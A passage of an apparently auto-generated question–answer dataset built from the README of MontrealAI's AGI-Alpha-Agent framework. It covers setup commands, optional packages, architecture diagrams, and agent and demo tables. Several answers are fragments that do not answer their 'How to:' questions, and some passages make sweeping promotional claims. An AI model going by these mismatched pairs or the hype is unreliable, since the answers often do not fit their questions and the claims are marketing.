 classDef insight fill:#1e3a8a,color:#ffffff,stroke-width:0px\n    classDef market  fill:#0e7490,color:#ffffff,stroke-width:0px\n    classDef value   fill:#fde047,color:#000000,font-weight:bold,stroke-width:0px\n\n    class A asc\n    class B insight\n    class C,G insight\n    class D,E,F market\n    class V value\n\n    linkStyle default stroke-width:2px\n```\n\n---\n\n---", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577611"}
{"id": "gh_f11c96a503bf", "question": "How to: Deploy Now", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "Open‑source framework for immediate strategic action: **[github.com/MontrealAI/AGI-Alpha-\nAgent-v0](https://github.com/MontrealAI/AGI-Alpha-Agent-v0)**\n\n---", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 270, "answer_score": 10, "has_code": false, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577617"}
{"id": "gh_20c738f29d20", "question": "How to: 🔱✨ Conclusion", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "**[ 🎖️ α‑AGI Ascension 🌌 ]** launches humanity into an entirely new economic epoch. By systematically harnessing AGI’s\ntransformative capabilities, it rewrites global economic structures, implicitly realigning international power dynamics\nand propelling humanity toward unprecedented sovereign economic prosperity.\n\n---\n---\n---\n\n> **Mission 🎯**  Identify 🔍 → Learn 📚 → Think 🧠 → Design 🎨 → Strategise ♟️ → Execute ⚡ —\n> compounding real‑world **α** across *all* industries.\n\nGlobal markets seep *USD ✧ trillions/yr* in latent opportunity — “alpha” in the broadest sense:\npricing dislocations • supply‑chain entropy • novel drug targets • policy loopholes • undiscovered materials\n.\n\n**Alpha‑Factory v1** is an antifragile constellation of self‑improving Agentic α‑AGI Agents 👁️✨ orchestrated to **spot\nlive alpha across any industry and transmute it into compounding value**.\n\n**Definition**: An **α‑AGI Business** 👁️✨ is an on‑chain autonomous enterprise (\n.a.agi.eth) that unleashes a swarm\nof self‑improving agentic **α‑AGI agents** 👁️✨ (\n.a.agent.agi.eth) to hunt down inefficiencies across any domain\nand transmute them into **$AGIALPHA**.\n\nBuilt atop **OpenAI Agents SDK**, **Google ADK**, **A2A protocol**, and Anthropic’s **Model Context Protocol**, the\nstack runs cloud‑native *or* air‑gapped, hot‑swapping between frontier LLMs and distilled local models.", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 270, "answer_score": 10, "has_code": false, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577629"}
{"id": "gh_5f25cf629911", "question": "How to: TL;DR Quick Start", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "Check out the `v0.1.0-alpha` tag for a reproducible environment.\n```bash\ngit clone --branch v0.1.0-alpha https://github.com/MontrealAI/AGI-Alpha-Agent-v0.git\ncd AGI-Alpha-Agent-v0\npython3 -m venv .venv\nsource .venv/bin/activate", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577635"}
{"id": "gh_b4d2067ba072", "question": "How to: Install runtime dependencies", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "pip install -r requirements.lock  # pinned versions for deterministic setup", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 270, "answer_score": 10, "has_code": false, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577641"}
{"id": "gh_39835304fa6d", "question": "How to: Requires Python 3.11–3.13 (<3.14)", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "./quickstart.sh\nRun `pre-commit run --all-files` after the dependencies finish installing.", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 270, "answer_score": 10, "has_code": false, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577648"}
{"id": "gh_f92b442a54a9", "question": "How to: Open http://localhost:8000/docs in your browser", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "```\nThe adapters initialise automatically when these optional packages are present.", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577653"}
{"id": "gh_bff5c02004e4", "question": "How to: Optional Packages", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "Install these extras to unlock additional features:\n\n- `pip install gradio` – enables the MuZero planning dashboard.\n- `pip install openai-agents==0.0.17` – activates the official Agents runtime used for commentary.\n- `pip install google-adk` and set `ALPHA_FACTORY_ENABLE_ADK=true` – starts the Google ADK gateway for\n  cross‑organisation agent exchange.\n- Install domain‑specific extras as needed (e.g. `httpx`, `feedparser`, `networkx`, `lightgbm`,\n  `kafka-python`, `tldextract`). Each agent logs a warning when a library is missing and continues in\n  degraded mode.\n\nOffline installations can omit these lines from the relevant `requirements.txt`\nfiles if the Agents SDK or ADK gateway are not needed.\n\nTo regenerate `requirements.lock` from `requirements.txt` with hashes, run:\n\n```bash\npip-compile --generate-hashes --output-file requirements.lock requirements.txt\n```\n\nOnce the API server is running you can launch a simulation:\n\n```bash\ncurl -X POST http://localhost:8000/simulate \\\n  -H \"Authorization: Bearer $API_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"horizon\": 5, \"pop_size\": 6, \"generations\": 3, \"mut_rate\": 0.1, \"xover_rate\": 0.5, \"curve\": \"linear\", \"energy\": 1.0, \"entropy\": 1.0}'\n```", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577662"}
{"id": "gh_95a0c08c5fad", "question": "How to: Further Reading", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "- Full documentation is available at [https://montrealai.github.io/AGI-Alpha-Agent-v0/](https://montrealai.github.io/AGI-Alpha-Agent-v0/) — click **Docs** in the navigation bar.\n\n---", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 270, "answer_score": 10, "has_code": false, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577667"}
{"id": "gh_26a9ed0e2833", "question": "How to: Contributing", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "See [AGENTS.md](AGENTS.md) for the full contributor guide.", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 270, "answer_score": 10, "has_code": false, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577671"}
{"id": "gh_ccc272f57728", "question": "How to: Pre‑commit Hooks", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "After running `./codex/setup.sh`, which ensures `pre-commit==4.2.0`\nis installed, install the hooks and run a full check:\n\n```bash", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577676"}
{"id": "gh_0fc8f3de5ae9", "question": "How to: Install the exact version if the setup script didn't already", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "pip install pre-commit==4.2.0\npre-commit install\npre-commit run --all-files   # verify hooks after setup\npre-commit run --files\n# before each commit\n```\nRun `pre-commit run --all-files` once after the setup script to confirm\neverything is formatted correctly. These commands mirror the steps in\n[AGENTS.md](AGENTS.md) and keep commits consistent.\nAfter editing `.github/workflows/ci.yml`, run:\n\n```bash\npre-commit run --files .github/workflows/ci.yml\npython tools/update_actions.py\n```\nto validate the workflow with actionlint before committing.\nBefore opening a pull request, run `pre-commit run --all-files` to ensure\nall hooks succeed.\nRun `python check_env.py --auto-install` before invoking these commands so\noptional hook dependencies are installed. When working offline, pass\n`--wheelhouse\n` or set `WHEELHOUSE` to install from a local cache. If\n`pre-commit` isn't found or the version differs, install it with\n`pip install pre-commit==4.2.0`.\n\nWhen editing the web UI, preserve existing ARIA labels so the interface\nremains accessible.", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577683"}
{"id": "gh_6fbc43d2aedc", "question": "How to: Development Setup", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "Install the Python dependencies with the helper script:\n\n```bash\nscripts/setup_env.sh\n```\nThe script checks for Python 3.11–3.13 (<3.14) and installs `requirements.txt` and\n`requirements-dev.txt`.\n\nWhen preparing an offline environment, build a wheelhouse on a machine with\ninternet access:\n\n```bash\n./scripts/build_offline_wheels.sh\n```\n\nCopy the resulting `wheels/` directory to the target host and set\n`WHEELHOUSE=$(pwd)/wheels` before running `check_env.py` or the tests so\npackages install from the local cache. The repository does not ship these\nprebuilt wheels.", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577689"}
{"id": "gh_e0f883701c88", "question": "How to: 📜 Table of Contents", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "0. [Design Philosophy](#0-design-philosophy)  \n1. [System Topology 🗺️](#1-system-topology)  \n2. [World‑Model & Planner 🌌](#2-world-model--planner)  \n3. [Agent Gallery 🖼️ (12 agents)](#3-agent-gallery)  \n4. [Demo Showcase 🎬 (14 demos)](#4-demo-showcase)\n5. [Memory & Knowledge Fabric 🧠](#5-memory--knowledge-fabric)\n6. [5‑Minute Quick‑Start 🚀](#6-5-minute-quick-start)\n6.1. [Running Tests 🧪](#61-running-tests)\n6.2. [Marketplace Demo Example 🛒](#62-marketplace-demo-example)\n6.3. [Offline Mode](#63-offline-mode)\n    - Set `LLAMA_MODEL_PATH` to the downloaded `.gguf` weight\n    - `AGI_INSIGHT_BROADCAST=0` disables blockchain broadcasting\n    - Example:\n      ```bash\n      AGI_INSIGHT_OFFLINE=1 AGI_INSIGHT_BROADCAST=0\n        python -m alpha_factory_v1.demos.alpha_agi_insight_v1.src.interface.cli\n        simulate --offline --energy 2.0 --entropy 0.5 \\\n        --mut-rate 0.1 --xover-rate 0.5 \\\n        --llama-model-path \"$LLAMA_MODEL_PATH\"\n      ```\n7. [Deployment Recipes 🍳](#7-deployment-recipes)\n7.1. [Deploying securely 🚀](#71-deploying-securely)\n8. [Governance & Compliance ⚖️](#8-governance--compliance)  \n9. [Observability 🔭](#9-observability)\n10. [Safety & Security 🛡️](#10-safety--security)\n11. [Extending the Mesh 🔌](#11-extending-the-mesh)\n12. [Troubleshooting 🛠️](#12-troubleshooting)\n13. [Roadmap 🛣️](#13-roadmap)\n14. [Credits 🌟](#14-credits)\n15. [License 📝](#15-license)\n\n---", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577699"}
{"id": "gh_00f7367ce7e3", "question": "How to: 0 · Design Philosophy", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "> “We have shifted from *big‑data hoarding* to **big‑experience compounding**.” — *Era of Experience*.\n\n* **Experience‑First Loop** — Sense → *Imagine* (MuZero‑style latent planning) → Act → Adapt.  \n* **AI‑GA Autogenesis** — The factory meta‑evolves new agents and curricula inspired by Clune’s *AI‑Generating\n  Algorithms*.\n* **Graceful Degradation** — GPU‑less? No cloud key? Agents fall back to distilled local models & heuristics.  \n* **Zero‑Trust Core** — SPIFFE identities, signed artefacts, guard‑rails, exhaustive audit logs.  \n* **Polyglot Value** — Everything is normalised to a common *alpha Δ∑USD* lens.\n\n---", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 270, "answer_score": 10, "has_code": false, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577707"}
{"id": "gh_31d26fdba984", "question": "How to: 1 · System Topology 🗺️", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "```mermaid\nflowchart LR\n  ORC([🛠️ Orchestrator])\n  WM[(🌌 World‑Model)]\n  MEM[(🔗 Vector‑Graph Memory)]\n  subgraph Agents\n    FIN(💰)\n    BIO(🧬)\n    MFG(⚙️)\n    POL(📜)\n    ENE(🔋)\n    SUP(📦)\n    RET(🛍️)\n    CYB(🛡️)\n    CLM(🌎)\n    DRG(💊)\n    SCT(⛓️)\n    TAL(🧑‍💻)\n  end\n  ORC -- A2A --> Agents\n  Agents -- experience --> WM\n  WM -- embeddings --> MEM\n  ORC -- Kafka --> DL[(🗄️ Data Lake)]\n```\n\n* **Orchestrator** auto‑discovers agents (see `backend/agents/__init__.py`) and exposes a unified REST + gRPC facade.  \n* **World‑Model** uses MuZero‑style latent dynamics for counterfactual planning.  \n* **Memory Fabric** = pgvector + Neo4j for dense & causal recall.\n\n---", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577715"}
{"id": "gh_049d4d177532", "question": "How to: 2 · World‑Model & Planner 🌌", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "| Component | Source Tech | Role |\n|-----------|-------------|------|\n| **Latent Dynamics** | MuZero++ | Predict env transitions & value |\n| **Self‑Play Curriculum** | POET‑XL | Generates alpha‑labyrinth tasks |\n| **Meta‑Gradient** | AI‑GA | Evolves optimiser hyper‑nets |\n| **Task Selector** | Multi‑Armed Bandit | Schedules agent ↔ world‑model interactions |\n\n---", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 270, "answer_score": 10, "has_code": false, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577722"}
{"id": "gh_88dd97744df2", "question": "How to: 3 · Agent Gallery 🖼️", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "```mermaid\nflowchart TD\n    ORC[\"🛠️ Orchestrator\"]\n    GEN{{\"🧪 Env‑Generator\"}}\n    LRN[\"🧠 MuZero++\"]\n\n    subgraph Agents\n        FIN[\"💰\"]\n        BIO[\"🧬\"]\n        MFG[\"⚙️\"]\n        POL[\"📜\"]\n        ENE[\"🔋\"]\n        SUP[\"📦\"]\n        RET[\"🛍️\"]\n        MKT[\"📈\"]\n        CYB[\"🛡️\"]\n        CLM[\"🌎\"]\n        DRG[\"💊\"]\n        SMT[\"⛓️\"]\n    end\n\n    %% message flows\n    GEN -- tasks --> LRN\n    LRN -- policies --> Agents\n    Agents -- skills --> LRN\n\n    ORC -- A2A --> FIN\n    ORC -- A2A --> BIO\n    ORC -- A2A --> MFG\n    ORC -- A2A --> POL\n    ORC -- A2A --> ENE\n    ORC -- A2A --> SUP\n    ORC -- A2A --> RET\n    ORC -- A2A --> MKT\n    ORC -- A2A --> CYB\n    ORC -- A2A --> CLM\n    ORC -- A2A --> DRG\n    ORC -- A2A --> SMT\n    ORC -- A2A --> GEN\n    ORC -- A2A --> LRN\n\n    ORC -- Kafka --> DATALAKE[\"🗄️ Data Lake\"]\n    FIN -.->|Prometheus| GRAFANA{{\"📊\"}}\n```\n\n| # | Agent | Path | Prime Directive | Status | Key Env Vars |\n|---|-------|------|-----------------|--------|--------------|\n| 1 | **Finance** 💰 | `finance_agent.py` | Multi‑factor alpha & RL execution | **Prod** | `BROKER_DSN` |\n| 2 | **Biotech** 🧬 | `biotech_agent.py` | CRISPR & assay proposals | **Prod** | `OPENAI_API_KEY` |\n| 3 | **Manufacturing** ⚙️ | `manufacturing_agent.py` | CP‑SAT optimiser | **Prod** | `SCHED_HORIZON` |\n| 4 | **Policy** 📜 | `policy_agent.py` | Statute QA & diffs | **Prod** | `STATUTE_CORPUS_DIR` |\n| 5 | **Energy** 🔋 | `energy_agent.py` | Spot‑vs‑forward arbitrage | **Beta** | `ISO_TOKEN` |\n| 6 | **Supply‑Chain** 📦 | `supply_chain_agent.py` | Stochastic MILP routing | **Beta** | `SC_DB_DSN` |\n| 7 | **Retail Demand** 🛍️ | `retail_demand_agent.py` | SKU forecast & pricing | **Beta** | `POS_DB_DSN` |\n| 8 | **Cyber‑Sec** 🛡️ | `cyber_threat_agent.py` | Predict & patch CVEs | **Beta** | `VT_API_KEY` |\n| 9 | **Climate Risk** 🌎 | `climate_risk_agent.py` | ESG stress tests | **Beta** | `NOAA_TOKEN` |\n|10 | **Drug‑Design** 💊 | `drug_design_agent.py` | Diffusion + docking | **Incub** | `CHEMBL_KEY` |\n|11 | **Smart‑Contract** ⛓️ | `smart_contract_agent.py` | Formal verification | **Incub** | `ETH_RPC_URL` |\n|12 | **Talent‑Match** 🧑‍💻 | `talent_match_agent.py` | Auto‑bounty hiring | **Incub** | — |\n\n```mermaid\n%% Legend\n%%  solid arrows  = primary value‑flow\n%%  dashed arrows = secondary / supporting influence\n%%  node emojis   = domain archetypes\n\ngraph TD\n    %% Core pillars\n    FIN[\"💰 Finance\"]\n    BIO[\"🧬 Biotech\"]\n    MFG[\"⚙️ Manufacturing\"]\n    POL[\"📜 Policy / Reg‑Tech\"]\n    ENE[\"🔋 Energy\"]\n    SUP[\"📦 Supply‑Chain\"]\n    RET[\"🛍️ Retail / Demand\"]\n    CYB[\"🛡️ Cyber‑Security\"]\n    CLM[\"🌎 Climate\"]\n    DRG[\"💊 Drug Design\"]\n    SMT[\"⛓️ Smart Contracts\"]\n    TLT[\"🧑‍💼 Talent\"]\n\n    %% Derived transversal competences\n    QNT[\"📊 Quant R&D\"]\n    RES[\"🔬 Research Ops\"]\n    DSG[\"🎨 Design\"]\n    OPS[\"🔧 DevOps\"]\n\n    %% Primary value‑creation arcs\n    FIN -->|Price discovery| QNT\n    FIN -->|Risk stress‑test| CLM\n    BIO --> DRG\n    BIO --> RES\n    MFG --> SUP\n    ENE --> CLM\n    RET --> FIN\n    POL --> CYB\n    SMT --> FIN\n\n    %% Cross‑pollination (secondary, dashed)\n    FIN -.-> POL\n    SUP -.-> CLM\n    CYB -.-> OPS\n    DRG -.-> POL\n    QNT -.-> RES\n    RET -.-> DSG\n\n    %% Visual grouping\n    subgraph Core\n        FIN\n        BIO\n        MFG\n        POL\n        ENE\n        SUP\n        RET\n        CYB\n        CLM\n        DRG\n        SMT\n        TLT\n    end\n    classDef core fill:#0d9488,color:#ffffff,stroke-width:0px;\n```\n\nEach agent exports a signed *proof‑of‑alpha* message to the Kafka bus, enabling cross‑breeding of opportunities.\n\n```mermaid\nsequenceDiagram\n    participant User\n    participant ORC as Orchestrator\n    participant FIN as 💰\n    participant GEN as 🧪\n    User->>ORC: /alpha/run\n    ORC->>GEN: new_world()\n    GEN-->>ORC: env_json\n    ORC->>FIN: act(env)\n    FIN-->>ORC: proof(ΔG)\n    ORC-->>User: artefact + KPI\n```\n\n---", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577747"}
{"id": "gh_7077070dd275", "question": "How to: 4 · Demo Showcase 🎬", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "| # | Folder | Emoji | Lightning Pitch | Alpha Contribution | Start Locally |\n|---|--------|-------|-----------------|--------------------|---------------|\n|1|`aiga_meta_evolution`|🧬|Agents *evolve* new agents; genetic tests auto‑score fitness.|Expands strategy space, surfacing fringe alpha.|`cd alpha_factory_v1/demos/aiga_meta_evolution && ./run_aiga_demo.sh`|\n|2|`alpha_agi_business_v1`|🏦|Auto‑incorporates a digital‑first company end‑to‑end.|Shows AGI turning ideas → registered business.|`./alpha_factory_v1/demos/alpha_agi_business_v1/run_business_v1_demo.sh [--pull] [--gpu]` (docs: `http://localhost:8000/docs`)|\n|3|`alpha_agi_business_2_v1`|🏗|Iterates business model with live market data RAG.|Continuous adaptation → durable competitive alpha.|`./alpha_factory_v1/demos/alpha_agi_business_2_v1/run_business_2_demo.sh`|\n|4|`alpha_agi_business_3_v1`|📊|Financial forecasting & fundraising agent swarm.|Optimises capital stack for ROI alpha.|`./alpha_factory_v1/demos/alpha_agi_business_3_v1/run_business_3_demo.sh`|\n|5|`alpha_agi_marketplace_v1`|🛒|Peer‑to‑peer agent marketplace simulating price discovery.|Validates micro‑alpha extraction via agent barter.|`docker compose -f demos/docker-compose.marketplace.yml up`|\n|6|`alpha_asi_world_model`|🌌|Scales MuZero‑style world‑model to an open‑ended grid‑world.|Stress‑tests anticipatory planning for ASI scenarios.|`docker compose -f demos/docker-compose.asi_world.yml up`|\n|7|`cross_industry_alpha_factory`|🌐|Full pipeline: ingest → plan → act across 4 verticals.|Proof that one orchestrator handles multi‑domain alpha.|`./alpha_factory_v1/demos/cross_industry_alpha_factory/deploy_alpha_factory_cross_industry_demo.sh`|\n|8|`era_of_experience`|🏛|Lifelong RL stack blending real & synthetic experience streams.|Showcases sensor-motor tools, grounded rewards & non-human reasoning.|`cd alpha_factory_v1/demos/era_of_experience && ./run_experience_demo.sh`|\n|9|`finance_alpha`|💹|Live momentum + risk‑parity bot on Binance test‑net.|Generates real P&L; stress‑tested against CVaR.|`./alpha_factory_v1/demos/finance_alpha/deploy_alpha_factory_demo.sh`|\n|10|`macro_sentinel`|🌐|GPT‑RAG news scanner auto‑hedges with CTA futures.|Shields portfolios from macro shocks.|`docker compose -f demos/docker-compose.macro.yml up`|\n|11|`muzero_planning`|♟|MuZero in 60 s; online world‑model with MCTS.|Distills planning research into a one‑command demo.|`./alpha_factory_v1/demos/muzero_planning/run_muzero_demo.sh`|\n|12|`self_healing_repo`|🩹|CI fails → agent crafts patch ⇒ PR green again.|Maintains pipeline uptime alpha.|`docker compose -f demos/docker-compose.selfheal.yml up`|\n|13|`meta_agentic_tree_search_v0`|🌳|Recursive agent rewrites via best‑first search.|Rapidly surfaces AGI-driven trading alpha.|`mats-bridge --episodes 3`|\n|14|`alpha_agi_insight_v1`|👁️|Zero‑data search ranking AGI‑disrupted sectors.|Forecasts sectors primed for AGI transformation.|`alpha-agi-insight-v1 --episodes 5`|\n\n> **Colab?** Each folder ships an `*.ipynb` that mirrors the Docker flow with free GPUs.\n\nThe official Docker image bundles **PyTorch 2.2.x** and **Ray 2.10.0**. The\nnotebooks install PyTorch from the [PyTorch wheel index](https://download.pytorch.org/whl)\nand pin Ray to the same version for compatibility.\n\n* [Solving AGI Governance](alpha_factory_v1/demos/solving_agi_governance/README.md) — Monte‑Carlo governance simulation\n  with optional OpenAI‑Agents/ADK integration.\n  [Colab](alpha_factory_v1/demos/solving_agi_governance/colab_solving_agi_governance.ipynb)\n* [Self‑Healing Repo](alpha_factory_v1/demos/self_healing_repo/README.md) — agents automatically craft patches when CI\n  fails.\n  The underlying `MetaRefinementAgent` **only simulates** improvement by\n  generating placeholder diffs. We hope to replace this with genuine\n  optimisation based on real performance metrics—contributions are\n  warmly welcomed.\n* **Note:** The `alpha_agi_business_3_v1` demo is intentionally left out of the published package. Clone this repository\n  to run it from source.\n\n| `USE_GPU` | PyTorch wheel URL |\n|:--------:|-------------------------------------------------|\n| `True`   |\n|\n| `False`  |\n|", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 270, "answer_score": 10, "has_code": false, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577769"}
{"id": "gh_5a36b7029660", "question": "How to: 4.1 · [α-ASI World-Model Demo 👁️✨](", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0/tree/main/alpha_factory_v1/demos/alpha_asi_world_model)\n\nPaper: [Multi-Agent AGENTIC α-AGI World-Model Demo 🥑](https://github.com/MontrealAI/AGI-Alpha-\nAgent-v0/blob/main/alpha_factory_v1/demos/alpha_asi_world_model/Alpha_ASI_World_Model.pdf)\n\n```\n┌──────────────────────────────── Alpha-Factory Bus (A2A) ───────────────────────────────┐\n│                                                                                        │\n│   ┌──────────────┐   curriculum   ┌───────────┐   telemetry   ┌────────────┐          │\n│   │ StrategyAgent│───────────────►│ Orchestr. │──────────────►│   UI / WS  │          │\n│   └──────────────┘                │  (loop)   │◄──────────────│  Interface │          │\n│          ▲  ▲                     └───────────┘    commands   └────────────┘          │\n│          │  │ new_env/reward                     ▲                                   │\n│   plans  │  │ loss stats                        │ halt                              │\n│          │  └──────────────────────┐            │                                   │\n│   ┌──────┴───────┐   context       │            │                                   │\n│   │ ResearchAgent│───────────────► Learner (MuZero) ◄─ SafetyAgent (loss guard)      │\n│   └──────────────┘                │   ▲                                             │\n│              code patches         │   │                                             │\n│   ┌──────────────┐                │   │ gradients                                   │\n│   │ CodeGenAgent │────────────────┘   │                                             │\n│   └──────────────┘                    │                                             │\n│                                       ▼                                             │\n│                            POET Generator → MiniWorlds (env pool)                    │\n└────────────────────────────────────────────────────────────────────────────────────────┘\n```", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577780"}
{"id": "gh_73952c43d5f3", "question": "How to: 4.2 · [🏛️ Large‑Scale α‑AGI Business 3 Demo 👁️✨ — **Omega‑Grade Edition**](", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0/tree/main/alpha_factory_v1/demos/alpha_agi_business_3_v1)\n\n> **Alpha‑Factory v1 → Ω‑Lattice v0**  \n> _Transmuting cosmological free‑energy gradients into compounding cash‑flows._\n\nMulti‑Scale Energy‑Landscape Diagram:\n\n```mermaid\nflowchart TB\n  subgraph Macro[\"Macro‑Finance Δβ\"]\n    FIN[FinanceAgent]:::agent\n    ENE[EnergyAgent]:::agent\n  end\n  subgraph Meso[\"Supply‑Chain ΔS\"]\n    MFG[ManufacturingAgent]:::agent\n    LOG[LogisticsAgent]:::agent\n  end\n  subgraph Micro[\"Bio/Chem ΔH\"]\n    BIO[BiotechAgent]:::agent\n    MAT[MaterialsAgent]:::agent\n  end\n  FIN & ENE -->|β feed| ORC\n  MFG & LOG -->|entropy ΔS| ORC\n  BIO & MAT -->|latent ΔH| ORC\n  classDef agent fill:#cffafe,stroke:#0369a1;\n```\n\nCells with \\(Δ\\mathcal F < 0\\) glow 🔵 on Grafana; Ω‑Agents race to harvest.\n\n---", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577789"}
{"id": "gh_a670c4b77673", "question": "How to: 5 · Memory & Knowledge Fabric 🧠", "question_body": "About MontrealAI/AGI-Alpha-Agent-v0", "answer": "```\n[Event] --embedding--> PGVector DB\n                   \\--edge--> Neo4j (CAUSES, SUPPORTS, RISK_OF)\n```\n\n* Agents query `mem.search(\"supply shock beta>0.2\")`  \n* Planner asks Neo4j: `MATCH (a)-[:CAUSES]->(b) WHERE b.delta_alpha > 5e6 RETURN path`\n* SQLite vector store fallback requires `numpy`\n* Realistic operation also relies on `pandas`\n\n---", "tags": ["MontrealAI"], "source": "github_gists", "category": "MontrealAI", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 270, "answer_score": 10, "has_code": true, "url": "https://github.com/MontrealAI/AGI-Alpha-Agent-v0", "collected_at": "2026-01-17T12:57:05.577795"}
